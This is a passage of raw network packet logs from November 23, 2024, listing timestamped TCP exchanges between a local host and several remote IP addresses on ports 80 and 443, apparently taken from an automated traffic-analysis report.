Nov 23, 2024 19:52:28.571765900 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.573158979 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.573208094 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.573266029 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.573326111 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.574738026 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.574788094 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.574858904 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.574904919 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.576309919 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.576373100 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.576409101 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.576456070 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.577893019 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.577955008 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.577995062 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.578130960 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.579443932 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.579492092 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.579571009 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.579617977 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.581032991 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.581083059 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.581147909 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.581192017 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.582573891 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.582649946 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.582669973 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.582792997 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.584228039 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.584284067 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.584304094 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.584367990 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.585691929 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.585752010 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.585818052 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.585880995 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.587248087 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.587299109 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.587357998 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.587414980 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.634695053 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.634754896 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.634814978 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.634867907 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.635422945 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.635478020 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.635492086 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.635628939 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.680965900 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.681025028 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.681034088 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.681088924 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.681777954 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.681835890 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.681843996 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.681935072 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.682713032 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.682770967 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.682807922 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.682898045 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.684237003 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.684319019 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.684338093 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.684376001 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.685715914 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.685764074 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.685791016 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.685833931 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.687227011 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.687283039 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.687397957 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.687444925 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.688744068 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.688795090 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.688847065 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.689030886 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.690256119 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.690349102 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.690392971 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.691761017 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.691807032 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.691874027 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.691914082 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.693257093 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.693310022 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.693373919 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.693427086 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.694775105 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.694837093 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.694888115 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.694933891 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.696281910 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.696326017 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.696456909 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.696499109 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.697770119 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.697818995 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.697894096 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.697935104 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.699289083 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.699362993 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.699392080 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.699439049 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.700833082 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.700900078 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.700905085 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.700957060 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.702282906 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.702337027 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.702395916 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.702487946 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.703788042 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.703845024 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.703892946 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.703933954 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.705303907 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.705348015 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.705359936 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.705404043 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.707125902 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.707190990 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.707210064 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.707245111 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.708411932 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.708486080 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.708508968 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.708543062 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.709846020 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.709904909 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.709938049 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.710020065 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.711333990 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.711390018 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.711441040 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.711488962 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.712757111 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.712802887 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.712865114 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.712902069 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.714167118 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.714215994 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.765778065 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.765811920 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.765850067 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.765904903 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.766453981 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.766509056 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.806698084 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.806771040 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.806835890 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.806905031 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.807373047 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.807426929 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.807674885 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.807765007 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.807809114 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.807847977 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.809087038 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.809148073 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.809232950 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.809283018 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.810477972 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.810544014 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.810555935 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.810614109 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.811908960 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.811965942 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.811974049 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.812108040 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.813352108 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.813416004 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.813535929 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.813586950 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.814812899 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.814862967 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.815005064 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.815076113 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.816273928 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.816334963 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.816381931 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.816488981 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.817668915 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.817729950 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.817805052 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.817883015 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.819118023 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.819189072 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.819219112 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.819395065 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.820565939 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.820620060 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.820705891 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.820940018 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.821964979 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.822021008 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.822086096 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.822130919 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.823406935 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.823473930 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.823535919 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.823577881 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.824825048 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.824898005 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.824944019 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.825102091 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.826271057 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.826344013 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.826344013 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.826423883 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.827693939 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.827753067 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.827816963 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.827883959 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.829145908 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.829194069 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.829293013 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.829430103 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.830559015 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.830607891 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.830660105 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.830904961 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.832001925 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.832068920 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.832216024 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.832267046 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.833425045 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.833487034 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.833544016 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.833592892 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.834840059 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.834897995 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.835036039 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.835087061 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.836433887 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.836496115 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.836592913 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.836704016 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.837723017 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.837846041 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.837981939 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.838030100 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.839101076 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.839157104 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.839257956 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.839346886 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.840481043 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.840531111 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.840766907 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.840812922 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.890723944 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.890788078 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.890837908 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.890887022 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.891374111 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.891547918 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.932158947 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.932234049 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.932275057 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.932346106 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.932749987 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.932810068 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.932893038 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.932945967 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.934108973 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.934175014 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.934210062 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.934528112 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.935168982 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.935225964 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.935305119 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.935568094 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.936558008 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.936623096 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.936654091 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.936698914 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.937932968 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.937987089 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.938050985 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.938102007 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:29.021929026 CET	443	49757	4.175.87.197	192.168.2.6
Nov 23, 2024 19:52:29.022012949 CET	49757	443	192.168.2.6	4.175.87.197
Nov 23, 2024 19:52:29.023736000 CET	49757	443	192.168.2.6	4.175.87.197
Nov 23, 2024 19:52:29.023746014 CET	443	49757	4.175.87.197	192.168.2.6
Nov 23, 2024 19:52:29.024040937 CET	443	49757	4.175.87.197	192.168.2.6
Nov 23, 2024 19:52:29.068916082 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.069492102 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.069524050 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.070236921 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.070245981 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.073971987 CET	49757	443	192.168.2.6	4.175.87.197
Nov 23, 2024 19:52:29.114764929 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.116740942 CET	49757	443	192.168.2.6	4.175.87.197
Nov 23, 2024 19:52:29.117121935 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.117135048 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.117544889 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.117549896 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.159343958 CET	443	49757	4.175.87.197	192.168.2.6
Nov 23, 2024 19:52:29.459716082 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.502502918 CET	443	49761	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.504903078 CET	443	49762	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.508347034 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.508424044 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.508508921 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.511498928 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.542749882 CET	49761	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.548928976 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.548949957 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.549534082 CET	49760	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.549540997 CET	443	49760	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.549922943 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.549952984 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.549977064 CET	49759	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.549985886 CET	443	49759	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.558387995 CET	49762	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.577610970 CET	49762	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.577616930 CET	443	49762	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.578119993 CET	49762	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.578125954 CET	443	49762	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.578171968 CET	49761	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.578222036 CET	443	49761	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.578515053 CET	49761	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.578524113 CET	443	49761	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.583034992 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.583121061 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.583194017 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.583336115 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.583352089 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.583374977 CET	49758	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:29.583383083 CET	443	49758	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:29.755944967 CET	443	49757	4.175.87.197	192.168.2.6
Nov 23, 2024 19:52:29.755969048 CET	443	49757	4.175.87.197	192.168.2.6
Nov 23, 2024 19:52:29.755975962 CET	443	49757	4.175.87.197	192.168.2.6
Nov 23, 2024 19:52:29.755992889 CET	443	49757	4.175.87.197	192.168.2.6
Nov 23, 2024 19:52:29.756030083 CET	443	49757	4.175.87.197	192.168.2.6
Nov 23, 2024 19:52:29.756079912 CET	49757	443	192.168.2.6	4.175.87.197
Nov 23, 2024 19:52:29.756099939 CET	443	49757	4.175.87.197	192.168.2.6
Nov 23, 2024 19:52:29.756139994 CET	49757	443	192.168.2.6	4.175.87.197
Nov 23, 2024 19:52:29.756169081 CET	49757	443	192.168.2.6	4.175.87.197
Nov 23, 2024 19:52:29.778389931 CET	49765	443	192.168.2.6	13.107.246.63
